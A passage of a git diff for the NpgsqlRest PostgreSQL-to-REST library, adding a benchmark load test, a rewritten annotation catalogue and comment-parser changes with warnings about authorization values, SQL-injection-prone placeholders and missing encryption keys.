World!") + { + throw new InvalidOperationException($"benchmark-get-text: unexpected response {(int)response.StatusCode}: {body}"); + } + } + + using (var response = _client.GetAsync("/api/benchmark-get-text-context").GetAwaiter().GetResult()) + { + var body = response.Content.ReadAsStringAsync().GetAwaiter().GetResult(); + if (!response.IsSuccessStatusCode || body != "Hello, World!") + { + throw new InvalidOperationException($"benchmark-get-text-context: unexpected response {(int)response.StatusCode}: {body}"); + } + } + + using (var response = _client.GetAsync($"/api/benchmark-get-rows?count={RowCount}").GetAwaiter().GetResult()) + { + var body = response.Content.ReadAsStringAsync().GetAwaiter().GetResult(); + if (!response.IsSuccessStatusCode) + { + throw new InvalidOperationException($"benchmark-get-rows: unexpected response {(int)response.StatusCode}: {body}"); + } + using var json = JsonDocument.Parse(body); + if (json.RootElement.ValueKind != JsonValueKind.Array || json.RootElement.GetArrayLength() != RowCount) + { + throw new InvalidOperationException($"benchmark-get-rows: expected a JSON array of {RowCount} rows, got: {body[..Math.Min(body.Length, 300)]}"); + } + } + } +} diff --git a/BenchmarkTests/LoadTest/LoadGen.cs.txt b/BenchmarkTests/LoadTest/LoadGen.cs.txt new file mode 100644 index 00000000..91ffa02c --- /dev/null +++ b/BenchmarkTests/LoadTest/LoadGen.cs.txt @@ -0,0 +1,92 @@ +// HTTP/1.1 keep-alive load generator. Usage: loadgen , , ...", - ["description"] = "Per-routine OpenAPI document control: hide the endpoint from the document (default action; the endpoint itself is unaffected), or replace its default schema-name tag with one or more custom tags (original casing preserved). No-op when the OpenAPI plugin (NpgsqlRest.OpenApi) is not loaded." - }); - - return annotations; - } + internal static CommentAnnotation[] CoreAnnotations() => + [ + new CommentAnnotation + { + Name = "http", + Aliases = [HttpKey], + Syntax = "http [GET|POST|PUT|DELETE|QUERY] [path]", + Description = "Enable endpoint and configure HTTP method and/or path. Required (for HTTP exposure) when CommentsMode is OnlyAnnotated (or its alias OnlyWithHttpTag).", + ValueKind = AnnotationValueKind.Text, + Example = "HTTP GET /users/{id}", + }, + new CommentAnnotation + { + Name = "path", + Aliases = [PathKey], + Syntax = "path ", + Description = "Override the endpoint URL path.", + ValueKind = AnnotationValueKind.Path, + Example = "path /users/{id}", + }, + new CommentAnnotation + { + Name = "param_type", + Aliases = ParamTypeKey, + Syntax = "param_type [query_string|query|body_json|body]", + Description = "Set request parameter type to query string or JSON body.", + ValueKind = AnnotationValueKind.Enum, + Values = ["query_string", "query", "body_json", "body"], + Example = "param_type body_json", + }, + new CommentAnnotation + { + Name = "authorize", + Aliases = AuthorizeKey, + Syntax = "authorize [role1, role2, user:name, id:user_id, ...]", + Description = "Require authorization, optionally restricting access. Plain values are role names (role claim); user:name matches the user name claim and id:value the user id claim.", + ValueKind = AnnotationValueKind.List, + Example = "authorize admin, user:alice", + }, + new CommentAnnotation + { + Name = "allow_anonymous", + Aliases = AllowAnonymousKey, + Syntax = "allow_anonymous", + Description = "Allow unauthenticated access to this endpoint.", + ValueKind = AnnotationValueKind.None, + Example = "allow_anonymous", + }, + new CommentAnnotation + { + Name = "login", + Aliases = LoginKey, + Syntax = "login", + Description = "Mark endpoint as a login/authentication endpoint.", + ValueKind = AnnotationValueKind.None, + Example = "login", + }, + new CommentAnnotation + { + Name = "logout", + Aliases = LogoutKey, + Syntax = "logout", + Description = "Mark endpoint as a logout endpoint.", + ValueKind = AnnotationValueKind.None, + Example = "logout", + }, + new CommentAnnotation + { + Name = "raw", + Aliases = RawKey, + Syntax = "raw", + Description = "Return raw results without JSON formatting.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Boolean, + Default = "false", + Example = "raw", + }, + new CommentAnnotation + { + Name = "separator", + Aliases = SeparatorKey, + Syntax = "separator ", + Description = "Set the value separator for raw mode output.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Text, + Example = "separator ,", + }, + new CommentAnnotation + { + Name = "new_line", + Aliases = NewLineKey, + Syntax = "new_line ", + Description = "Set the line separator for raw mode output.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Text, + Example = "new_line \\n", + }, + new CommentAnnotation + { + Name = "columns", + Aliases = ColumnNamesKey, + Syntax = "columns", + Description = "Include column names as the first row in raw output.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Boolean, + Default = "false", + Example = "columns", + }, + new CommentAnnotation + { + Name = "buffer_rows", + Aliases = BufferRowsKey, + Syntax = "buffer_rows ", + Description = "Set the number of rows to buffer before sending response.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Integer, + Default = "25", + Example = "buffer_rows 100", + }, + new CommentAnnotation + { + Name = "cached", + Aliases = [CacheKey], + Syntax = "cached [param1, param2, ...]", + Description = "Enable response caching, optionally specifying cache key parameters.", + ValueKind = AnnotationValueKind.List, + Example = "cached _user_id", + }, + new CommentAnnotation + { + Name = "cache_expires", + Aliases = CacheExpiresInKey, + Syntax = "cache_expires ", + Description = "Set cache expiration time (PostgreSQL interval format).", + ValueKind = AnnotationValueKind.Interval, + Example = "cache_expires 5 minutes", + }, + new CommentAnnotation + { + Name = "cache_profile", + Aliases = [CacheProfileKey], + Syntax = "cache_profile ", + Description = "Select a named cache profile defined in CacheOptions.Profiles. The profile supplies the cache backend, default expiration, default key parameters, and per-parameter skip conditions. Implies caching even without @cached. Existing @cached and @cache_expires annotations override the profile's defaults. Unknown profile names cause startup to fail.", + ValueKind = AnnotationValueKind.Name, + Example = "cache_profile fast_memory", + }, + new CommentAnnotation + { + Name = "connection_name", + Aliases = ConnectionNameKey, + Syntax = "connection_name ", + Description = "Use a specific named connection string for this endpoint.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Name, + Example = "connection read_replica", + }, + new CommentAnnotation + { + Name = "timeout", + Aliases = TimeoutKey, + Syntax = "timeout ", + Description = "Set command execution timeout (PostgreSQL interval format).", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Interval, + Example = "timeout 30s", + }, + new CommentAnnotation + { + Name = "request_headers_mode", + Aliases = RequestHeadersModeKey, + Syntax = "request_headers [ignore|context|parameter]", + Description = "Control how HTTP request headers are passed to the routine.", + ValueKind = AnnotationValueKind.Enum, + Values = ["ignore", "context", "parameter"], + Example = "request_headers context", + }, + new CommentAnnotation + { + Name = "request_headers_parameter_name", + Aliases = RequestHeadersParameterNameKey, + Syntax = "request_headers_parameter_name ", + Description = "Set the parameter name for request headers when mode is parameter.", + ValueKind = AnnotationValueKind.Name, + Example = "request_headers_parameter_name _headers", + }, + new CommentAnnotation + { + Name = "body_parameter_name", + Aliases = BodyParameterNameKey, + Syntax = "body_parameter_name ", + Description = "Set the parameter name for the JSON body content.", + ValueKind = AnnotationValueKind.Name, + Example = "body_parameter_name _body", + }, + new CommentAnnotation + { + Name = "response_null_handling", + Aliases = TextResponseNullHandlingKey, + Syntax = "response_null [empty_string|null_literal|no_content|204]", + Description = "Control how NULL return values are rendered in responses.", + ValueKind = AnnotationValueKind.Enum, + Values = ["empty_string", "null_literal", "no_content", "204"], + Default = "empty_string", + Example = "response_null no_content", + }, + new CommentAnnotation + { + Name = "query_string_null_handling", + Aliases = QueryStringNullHandlingKey, + Syntax = "query_null [empty_string|null_literal|ignore]", + Description = "Control how NULL query string parameters are handled.", + ValueKind = AnnotationValueKind.Enum, + Values = ["empty_string", "null_literal", "ignore"], + Default = "ignore", + Example = "query_null empty_string", + }, + new CommentAnnotation + { + Name = "security_sensitive", + Aliases = SecuritySensitiveKey, + Syntax = "security_sensitive", + Description = "Mark endpoint as security-sensitive (suppresses logging of parameters).", + ValueKind = AnnotationValueKind.None, + Example = "security_sensitive", + }, + new CommentAnnotation + { + Name = "user_context", + Aliases = UserContextKey, + Syntax = "user_context", + Description = "Pass authenticated user context to the routine via connection settings.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Boolean, + Default = "false", + Example = "user_context", + }, + new CommentAnnotation + { + Name = "user_parameters", + Aliases = UserParemetersKey, + Syntax = "user_parameters", + Description = "Map user claims to routine parameters.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Boolean, + Default = "false", + Example = "user_parameters", + }, + new CommentAnnotation + { + Name = "upload", + Aliases = [UploadKey], + Syntax = "upload [for handler1, handler2, ...]", + Description = "Enable file upload for this endpoint, optionally specifying upload handlers.", + ValueKind = AnnotationValueKind.List, + Example = "upload for file_system", + }, + new CommentAnnotation + { + Name = "param", + Aliases = ParameterKey, + Syntax = "param is hash of | param is upload metadata | param [type] | param is [type] | param type is | param default ", + Description = "Configure parameter behavior: hash computation, upload metadata binding, rename/retype, retype WITHOUT rename ('param user_id type is integer'), or default value ('param user_id default null'). Rename forms: 'param $1 user_id', 'param $1 user_id integer', 'param $1 is user_id', 'param _old_name better_name'. In SQL files with named (:name) placeholders the parameter is addressed by the placeholder's own name (a leading ':' is tolerated). Works on all endpoint types.", + ValueKind = AnnotationValueKind.Text, + Example = "param $1 user_id integer", + }, + new CommentAnnotation + { + Name = "sse_path", + Aliases = SseEventsStreamingPathKey, + Syntax = "sse_path [path] [on info|notice|warning]", + Description = "Enable Server-Sent Events streaming with optional path and notice level.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Path, + Example = "sse /events on notice", + }, + new CommentAnnotation + { + Name = "sse_level", + Aliases = SseEventsLevelKey, + Syntax = "sse_level [info|notice|warning]", + Description = "Set the PostgreSQL notice level for SSE events.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Enum, + Values = ["info", "notice", "warning"], + Example = "sse_level notice", + }, + new CommentAnnotation + { + Name = "sse_scope", + Aliases = SseEventsStreamingScopeKey, + Syntax = "sse_scope [all|authorize|matching] [role1, role2, user:name, id:user_id, ...]", + Description = "Set the broadcast scope for SSE events. Authorize values: plain = role, user:name = user name claim, id:value = user id claim.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Text, + Example = "sse_scope authorize admin", + }, + new CommentAnnotation + { + Name = "basic_auth", + Aliases = BasicAuthKey, + Syntax = "basic_auth [username] [password]", + Description = "Enable HTTP Basic Authentication for this endpoint.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Text, + Example = "basic_auth", + }, + new CommentAnnotation + { + Name = "basic_auth_realm", + Aliases = BasicAuthRealmKey, + Syntax = "basic_auth_realm ", + Description = "Set the authentication realm for Basic Auth challenges.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Text, + Example = "basic_auth_realm Reports", + }, + new CommentAnnotation + { + Name = "basic_auth_command", + Aliases = BasicAuthCommandKey, + Syntax = "basic_auth_command ", + Description = "Set a custom SQL command for Basic Auth credential validation.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Sql, + Example = "basic_auth_command = select * from check_basic_auth($1, $2)", + }, + new CommentAnnotation + { + Name = "retry_strategy", + Aliases = RetryStrategyKey, + Syntax = "retry_strategy ", + Description = "Apply a named retry strategy for transient database errors.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Name, + Example = "retry_strategy default", + }, + new CommentAnnotation + { + Name = "rate_limiter", + Aliases = RateLimiterPolicyKey, + Syntax = "rate_limiter ", + Description = "Apply a named rate limiting policy to this endpoint.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Name, + Example = "rate_limiter fixed", + }, + new CommentAnnotation + { + Name = "error_code_policy", + Aliases = ErrorCodePolicyKey, + Syntax = "error_code_policy ", + Description = "Apply a named error code mapping policy for PostgreSQL error codes.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Name, + Example = "error_code_policy default", + }, + new CommentAnnotation + { + Name = "validate", + Aliases = ValidateKey, + Syntax = "validate using ", + Description = "Add parameter validation using a named validation rule.", + ValueKind = AnnotationValueKind.Text, + Example = "validate _email using email", + }, + new CommentAnnotation + { + Name = "proxy", + Aliases = ProxyKey, + Syntax = "proxy [GET|POST|PUT|DELETE|QUERY] [host_url]", + Description = "Configure endpoint as a reverse proxy.", + ValueKind = AnnotationValueKind.Text, + Example = "proxy GET https://api.example.com/users", + }, + new CommentAnnotation + { + Name = "proxy_out", + Aliases = ProxyOutKey, + Syntax = "proxy_out [GET|POST|PUT|DELETE|QUERY] [host_url]", + Description = "Execute function first, then forward result body to upstream proxy service.", + ValueKind = AnnotationValueKind.Text, + Example = "proxy_out POST https://api.example.com/render", + }, + new CommentAnnotation + { + Name = "nested_json", + Aliases = NestedJsonKey, + Syntax = "nested_json", + Description = "Serialize composite type columns as nested JSON objects.", + ValueKind = AnnotationValueKind.None, + Example = "nested_json", + }, + new CommentAnnotation + { + Name = "tags", + Aliases = TagsKey, + Syntax = "for tag1, tag2, ...", + Description = "Filter endpoint availability by tags.", + Contexts = AnnotationContext.Routine, + ValueKind = AnnotationValueKind.List, + Example = "for function, stable", + }, + new CommentAnnotation + { + Name = "disabled", + Aliases = [DisabledKey], + Syntax = "disabled [tag1, tag2, ...]", + Description = "Disable this endpoint, optionally only for specific tags.", + ValueKind = AnnotationValueKind.List, + Example = "disabled", + }, + new CommentAnnotation + { + Name = "enabled", + Aliases = [EnabledKey], + Syntax = "enabled [tag1, tag2, ...]", + Description = "Enable this endpoint, optionally only for specific tags.", + ValueKind = AnnotationValueKind.List, + Example = "enabled", + }, + new CommentAnnotation + { + Name = "internal", + Aliases = InternalKey, + Syntax = "internal", + Description = "Mark endpoint as internal-only. Not exposed as an HTTP route, only accessible via self-referencing calls (proxy, HTTP client types).", + ValueKind = AnnotationValueKind.None, + Example = "internal", + }, + new CommentAnnotation + { + Name = "encrypt", + Aliases = EncryptKey, + Syntax = "encrypt [param1, param2, ...]", + Description = "Encrypt parameter values using the default data protector before sending to PostgreSQL. Without arguments, encrypts all text parameters.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.List, + Example = "encrypt _card_number", + }, + new CommentAnnotation + { + Name = "decrypt", + Aliases = DecryptKey, + Syntax = "decrypt [column1, column2, ...]", + Description = "Decrypt result column values using the default data protector before returning to the client. Without arguments, decrypts all text columns.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.List, + Example = "decrypt card_number", + }, + new CommentAnnotation + { + Name = "custom_parameter", + Aliases = [], + Syntax = "key = value", + Description = "Define a custom parameter as key-value pair (separated by =).", + Form = AnnotationForm.KeyValue, + ValueKind = AnnotationValueKind.Text, + Example = "my_key = my value", + }, + new CommentAnnotation + { + Name = "header", + Aliases = [], + Syntax = "Header-Name: header-value", + Description = "Add a response header (separated by :).", + Form = AnnotationForm.Line, + ValueKind = AnnotationValueKind.Text, + Example = "Content-Type: text/csv", + }, + new CommentAnnotation + { + Name = "result", + Aliases = ["result"], + Syntax = "result | result is ", + Description = "Name a statement's result in the response of a SQL file with several statements (the default names are result1, result2 ...). Positional: applies to the next statement, or, written after the semicolon on the same line, to the statement that line ends.", + Contexts = AnnotationContext.SqlFileStatement, + ValueKind = AnnotationValueKind.Name, + Example = "result users", + }, + new CommentAnnotation + { + Name = "define_param", + Aliases = ["define_param"], + Syntax = "define_param [type]", + Description = "Define a virtual parameter that exists for HTTP matching and claim mapping but is NOT bound to the PostgreSQL command. Useful for SQL file endpoints where you need parameters for comment placeholders or claim mapping without referencing them in SQL. Default type is text. SQL file source only.", + Contexts = AnnotationContext.SqlFile, + ValueKind = AnnotationValueKind.Text, + Example = "define_param tenant_id integer", + }, + new CommentAnnotation + { + Name = "single", + Aliases = SingleKey, + Syntax = "single", + Description = "Return only the first row as a JSON object instead of a JSON array. In multi-command SQL files the annotation is positional: it applies to the next statement (or, inline after the semicolon, to the statement on that line).", + Form = AnnotationForm.KeywordOrKeyValue, + Contexts = AnnotationContext.Endpoint | AnnotationContext.SqlFileStatement, + ValueKind = AnnotationValueKind.Boolean, + Default = "false", + Example = "single", + }, + new CommentAnnotation + { + Name = "void", + Aliases = VoidKey, + Syntax = "void", + Description = "Return no content (204 No Content); results are discarded. In multi-command SQL files all statements still execute for side effects.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Boolean, + Default = "false", + Example = "void", + }, + new CommentAnnotation + { + Name = "skip", + Aliases = ["skip", "skip_result", "no_result"], + Syntax = "skip", + Description = "Execute the statement but exclude its result from the response. Positional: applies to the next statement (or, inline after the semicolon, to the statement on that line). SQL file source only.", + Contexts = AnnotationContext.SqlFileStatement, + ValueKind = AnnotationValueKind.None, + Example = "skip", + }, + new CommentAnnotation + { + Name = "returns", + Aliases = ["returns"], + Syntax = "returns | returns | returns void", + Description = "Skip the startup Describe for a statement and resolve result columns from the given type instead: a composite type name (schema-qualified or not), a built-in scalar type (single-column result), or void. Needed when a statement references objects that do not exist at startup (e.g. a temp table created in a DO block). SQL file source only.", + Contexts = AnnotationContext.SqlFileStatement, + ValueKind = AnnotationValueKind.Name, + Example = "returns my_schema.user_row", + }, + new CommentAnnotation + { + Name = "sse_publish", + Aliases = SseEventsPublishKey, + Syntax = "sse_publish [on info|notice|warning]", + Description = "Publish this routine's RAISE messages of the given level (default: the configured level) as Server-Sent Events, without giving the endpoint an event stream of its own. Subscribers are endpoints with sse or sse_subscribe.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Text, + Example = "sse_publish on notice", + }, + new CommentAnnotation + { + Name = "sse_subscribe", + Aliases = SseEventsSubscribeKey, + Syntax = "sse_subscribe [path] [on info|notice|warning]", + Description = "Give this endpoint a Server-Sent Events stream that clients subscribe to, without publishing this routine's own RAISE messages. Without a path, the path is the level's name.", + Form = AnnotationForm.KeywordOrKeyValue, + ValueKind = AnnotationValueKind.Path, + Example = "sse_subscribe /events", + }, + new CommentAnnotation + { + Name = "table_format", + Aliases = ["table_format"], + Syntax = "table_format = ", + Description = "Return the rows in a table format instead of JSON: a key of the configured table format handlers (the npgsqlrest client has html and excel when TableFormatOptions is enabled).", + Form = AnnotationForm.KeyValue, + ValueKind = AnnotationValueKind.Name, + Example = "table_format = html", + }, + .. UploadHandlers.UploadAnnotations.Core, + .. HttpClientType.HttpTypeAnnotations.All, + ]; } diff --git a/NpgsqlRest/Defaults/CommentParsers/AuthorizeHandler.cs b/NpgsqlRest/Defaults/CommentParsers/AuthorizeHandler.cs index 14d066d5..6afc994a 100644 --- a/NpgsqlRest/Defaults/CommentParsers/AuthorizeHandler.cs +++ b/NpgsqlRest/Defaults/CommentParsers/AuthorizeHandler.cs @@ -26,6 +26,17 @@ private static void HandleAuthorize(RoutineEndpoint endpoint, string[] wordsLowe { endpoint.AuthorizeRoles = [.. wordsLower[1..]]; CommentLogger?.CommentSetAuthRoles(description, endpoint.AuthorizeRoles); + // Since 4.0.0 plain values are roles only; user names and ids need the user: / id: prefix. + // A plain number or GUID was almost certainly meant as a user id - point that out. + foreach (var value in endpoint.AuthorizeRoles) + { + if (long.TryParse(value, out _) || Guid.TryParse(value, out _)) + { + CommentLogger?.LogWarning( + "{description}: authorize value \"{value}\" is matched against the role claim only. To authorize a user id write \"{prefix}{value}\" (and \"{namePrefix}name\" for a user name).", + description, value, RoutineEndpoint.AuthorizeUserIdPrefix, value, RoutineEndpoint.AuthorizeUserNamePrefix); + } + } } else { diff --git a/NpgsqlRest/Defaults/CommentParsers/CustomParameterHandler.cs b/NpgsqlRest/Defaults/CommentParsers/CustomParameterHandler.cs index 2b1fb4be..fc9f23fc 100644 --- a/NpgsqlRest/Defaults/CommentParsers/CustomParameterHandler.cs +++ b/NpgsqlRest/Defaults/CommentParsers/CustomParameterHandler.cs @@ -2,6 +2,37 @@ namespace NpgsqlRest.Defaults; internal static partial class DefaultCommentParser { + /// + /// Custom parameters whose value is SQL text executed by an upload handler (row_command, or the + /// handler-prefixed csv_row_command / excel_row_command). Placeholders are never substituted in + /// them: a request value inserted into SQL text would be SQL injection. + /// + internal static bool IsSqlCustomParameter(string name) => + name.Equals("row_command", StringComparison.OrdinalIgnoreCase) || + name.EndsWith("_row_command", StringComparison.OrdinalIgnoreCase); + + private static bool HasPlaceholderToken(string value) + { + for (var i = value.IndexOf('{'); i >= 0 && i < value.Length - 1; i = value.IndexOf('{', i + 1)) + { + var j = i + 1; + if (value[j] == '!') + { + j++; + } + var start = j; + while (j < value.Length && (char.IsLetterOrDigit(value[j]) || value[j] == '_')) + { + j++; + } + if (j > start && j < value.Length && (value[j] == '}' || value[j] == ':') && char.IsDigit(value[start]) is false) + { + return true; + } + } + return false; + } + /// /// Annotation: Custom parameter (key = value syntax) /// Syntax: [key] = [value] @@ -17,6 +48,13 @@ private static void HandleCustomParameter( if (customParamValue.Contains(Consts.OpenBrace) && customParamValue.Contains(Consts.CloseBrace)) { endpoint.CustomParamsNeedParsing = true; + // the name as it is stored: without the optional @ + if (IsSqlCustomParameter(customParamName.TrimStart('@')) && HasPlaceholderToken(customParamValue)) + { + Logger?.LogWarning( + "{Description}: custom parameter {Name} is SQL - {{placeholders}} in it are not substituted (request values in SQL text would be SQL injection). Pass values through the command's $N parameters instead.", + description, customParamName); + } } SetCustomParameter(endpoint, customParamName, customParamValue, description); CommentLogger?.CommentSetCustomParemeter(description, customParamName, customParamValue); diff --git a/NpgsqlRest/Defaults/CommentParsers/EncryptHandler.cs b/NpgsqlRest/Defaults/CommentParsers/EncryptHandler.cs index c74cface..8e38f09d 100644 --- a/NpgsqlRest/Defaults/CommentParsers/EncryptHandler.cs +++ b/NpgsqlRest/Defaults/CommentParsers/EncryptHandler.cs @@ -25,6 +25,13 @@ private static void HandleEncrypt( int len, string description) { + // Without a data protector, encrypt is a no-op and the values reach the database in plain text. + if (Options.AuthenticationOptions.DefaultDataProtector is null) + { + Logger?.LogWarning( + "Comment annotation encrypt in {Description}: no data protector is configured (DataProtection), so the values are NOT encrypted and are stored as plain text.", + description); + } if (len == 1) { endpoint.EncryptAllParameters = true; diff --git a/NpgsqlRest/Defaults/CommentParsers/ParameterHandler.cs b/NpgsqlRest/Defaults/CommentParsers/ParameterHandler.cs index 8cfc299d..fbc50850 100644 --- a/NpgsqlRest/Defaults/CommentParsers/ParameterHandler.cs +++ b/NpgsqlRest/Defaults/CommentParsers/ParameterHandler.cs @@ -10,7 +10,8 @@ internal static partial class DefaultCommentParser /// param [original] [new_name] — rename only (simplest form) /// param [original] [new_name] [type] — rename + retype (simplest form) /// param [original] is [new_name] — rename only ("is" style) - /// param [original] is [new_name] type is [type] — rename + retype ("is" style) + /// param [original] is [new_name] [type] — rename + retype ("is" style) + /// param [name] type is [type] — retype without renaming /// /// Description: Configure parameter behavior, such as marking one parameter as a hash of another, /// as upload metadata, setting default values, or renaming/retyping parameters. diff --git a/NpgsqlRest/Defaults/CommentParsers/UploadHandler.cs b/NpgsqlRest/Defaults/CommentParsers/UploadHandler.cs index cd254a1c..37852422 100644 --- a/NpgsqlRest/Defaults/CommentParsers/UploadHandler.cs +++ b/NpgsqlRest/Defaults/CommentParsers/UploadHandler.cs @@ -45,11 +45,17 @@ private static void HandleUpload( .Select(w => { var handler = w.TrimEnd(','); - bool exists = true; - if (existingHandlers.Contains(handler) is false) + // The words are lower case; a configured handler key may not be. Matched whatever the + // case, and the key as configured is what the endpoint keeps. + var configured = existingHandlers.FirstOrDefault(k => string.Equals(k, handler, StringComparison.OrdinalIgnoreCase)); + bool exists = configured is not null; + if (exists) + { + handler = configured!; + } + else { CommentLogger?.CommentUploadHandlerNotExists(description, handler, existingHandlers); - exists = false; } return new { exists, handler }; }) @@ -60,8 +66,8 @@ private static void HandleUpload( endpoint.UploadHandlers = handlers; if (handlers.Length == 0) { - var first = Options.UploadOptions.UploadHandlers?.Keys.FirstOrDefault(); - CommentLogger?.CommentUploadFirstAvaialbleHandler(description, first); + // none of the named handlers exists: the default handler is used (UploadExtensions) + CommentLogger?.CommentUploadFirstAvaialbleHandler(description, Options.UploadOptions.DefaultUploadHandler); } if (handlers.Length == 1) { diff --git a/NpgsqlRest/Defaults/DefaultCommentParser.cs b/NpgsqlRest/Defaults/DefaultCommentParser.cs index 865152ce..6a794906 100644 --- a/NpgsqlRest/Defaults/DefaultCommentParser.cs +++ b/NpgsqlRest/Defaults/DefaultCommentParser.cs @@ -6,6 +6,16 @@ internal static partial class DefaultCommentParser { private static readonly char[] NewlineSeparator = ['\r', '\n']; + // Why the last Parse on this thread returned no endpoint (EndpointReport), and what was logged about it. + [ThreadStatic] internal static (string Code, string Message)? NotExposedReason; + [ThreadStatic] internal static string[]? NotExposedDiagnostics; + + // Annotations that restrict who can call an endpoint or whether it exists. With RequireAtPrefix on, a line + // that begins with one of them and has no @ is text, and that is said as a warning: in a comment written + // partly in the old form, the endpoint would otherwise be created without the restriction, in silence. + private static readonly string[] AccessRestrictingAnnotations = + ["authorize", "authorized", "requires_authorization", "disabled", "internal", "internal_only", "login", "signin", "logout", "signout", "basic_auth", "security_sensitive", "sensitive"]; + // All annotation keys moved to their respective handler files in CommentParsers directory public static RoutineEndpoint? Parse( @@ -22,10 +32,22 @@ internal static partial class DefaultCommentParser var comment = routine.Comment; var disabled = false; bool haveTag = true; + NotExposedReason = null; + NotExposedDiagnostics = null; + var requireAt = Options.RequireAtPrefix; + // with RequireAtPrefix: the comment has a line "http ..." without the @ + var unprefixedHttp = false; + // a "for " line that does not name this routine's kind turned the lines after it off + var tagMismatch = false; + // with RequireAtPrefix: lines without the @ that begin with an annotation that restricts access + List<(string Line, string Name)>? unprefixedRestrictions = null; if (string.IsNullOrEmpty(comment)) { if (Options.CommentsMode is CommentsMode.OnlyWithHttpTag or CommentsMode.OnlyAnnotated) { + NotExposedReason = ("no_comment", requireAt + ? "It has no comment. Under this CommentsMode an endpoint is created only for a comment with the @http annotation." + : "It has no comment. Under this CommentsMode an endpoint is created only for a comment with the HTTP annotation."); return null; } } @@ -38,6 +60,8 @@ internal static partial class DefaultCommentParser var description = string.Concat(routineDescription, " mapped to ", urlDescription); _annotationLabels = new List(); + EndpointDiagnosticsLogger.Begin(); + List? unknownAnnotationLines = null; string[] lines = comment.Split(NewlineSeparator, StringSplitOptions.RemoveEmptyEntries); routineEndpoint.CommentWordLines = new string[lines.Length][]; @@ -62,12 +86,33 @@ internal static partial class DefaultCommentParser continue; } + // RequireAtPrefix: a line without the @ is text. Nothing looks at it: not the built-in annotations, + // not key = value, not headers, not the plugins. + if (requireAt && line[0] != '@') + { + if (StrEquals(wordsLower[0], "http")) + { + unprefixedHttp = true; + } + else if (StrEqualsToArray(wordsLower[0], AccessRestrictingAnnotations)) + { + // said once it is known that there is an endpoint to speak of (see after the loop) + (unprefixedRestrictions ??= []).Add((line, wordsLower[0])); + } + (unhandledCommentLines ??= []).Add(line); + continue; + } + // for tag1, tag2, tag3 [, ...] // tag tag1, tag2, tag3 [, ...] // tags tag1, tag2, tag3 [, ...] if (routine.Tags is not null && routine.Tags.Length > 0 && StrEqualsToArray(wordsLower[0], TagsKey)) { HandleTags(routine, wordsLower, ref haveTag); + if (haveTag is false) + { + tagMismatch = true; + } } // key = value @@ -75,14 +120,25 @@ internal static partial class DefaultCommentParser // Otherwise → custom parameter else if (haveTag is true && SplitBySeparatorChar(line, Consts.Equal, out var customParamName, out var customParamValue)) { - if (routine.OriginalParamsHash.Contains(customParamName)) + // the @ is optional here as everywhere: "@_token = select ..." resolves the parameter _token + if (routine.OriginalParamsHash.Contains(customParamName) || (customParamName[0] == '@' && routine.OriginalParamsHash.Contains(customParamName[1..]))) { - HandleResolvedParameter(routineEndpoint, customParamName, customParamValue, description); + HandleResolvedParameter(routineEndpoint, customParamName.TrimStart('@'), customParamValue, description); } else { HandleCustomParameter(routineEndpoint, customParamName, customParamValue, description); WarnUnknownPlaceholders(routine, customParamValue, description); + // "@key = value" is written as an annotation. A key that nothing reads is most likely a + // misspelt one: it is stored like any custom parameter, and said. Without the @ a line of + // this shape may be anything, and is left alone. + if (customParamName[0] == '@' && CommentAnnotations.IsKnownCustomParameter(customParamName) is false) + { + (unknownAnnotationLines ??= []).Add(line); + Logger?.LogWarning( + "{Description}: \"{Line}\" - nothing reads a custom parameter named {Name}. Check the spelling (npgsqlrest --annotations lists what is read).", + description, line, customParamName[1..]); + } } TrackAnnotation(line); } @@ -91,7 +147,8 @@ internal static partial class DefaultCommentParser // Content-Type: application/json else if (haveTag is true && SplitBySeparatorChar(line, Consts.Colon, out var headerName, out var headerValue)) { - HandleHeader(routineEndpoint, headerName, headerValue, description); + // "@Content-Type: text/plain": the @ marks the line as an annotation and is not part of the name + HandleHeader(routineEndpoint, headerName.TrimStart('@'), headerValue, description); WarnUnknownPlaceholders(routine, headerValue, description); TrackAnnotation(line); } @@ -356,7 +413,7 @@ internal static partial class DefaultCommentParser // param param_name1 is hash of param_name2 // param param_name is upload metadata // param [original] [new_name] [type] - // param [original] is [new_name] [type is [type]] + // param [original] is [new_name] [type] else if (haveTag is true && StrEqualsToArray(wordsLower[0], ParameterKey)) { HandleParameter(routine, routineEndpoint, wordsLower, words, len, description); @@ -516,7 +573,8 @@ internal static partial class DefaultCommentParser // built-in annotation logging. If no handler claims it, it's prose → surfaced // via RoutineEndpoint.UnhandledCommentLines. CommentLineResult? handled = null; - foreach (var handler in Options.EndpointCreateHandlers) + // Like every built-in annotation, a plugin's applies only under a matching tag ("for ..."). + foreach (var handler in haveTag ? Options.EndpointCreateHandlers : []) { handled = handler.HandleCommentLine(routineEndpoint, line, words, wordsLower); if (handled is not null) @@ -535,6 +593,17 @@ internal static partial class DefaultCommentParser anyHandlerRequestedEndpoint = true; } } + else if (line[0] == '@') + { + // A line written as an annotation that nothing 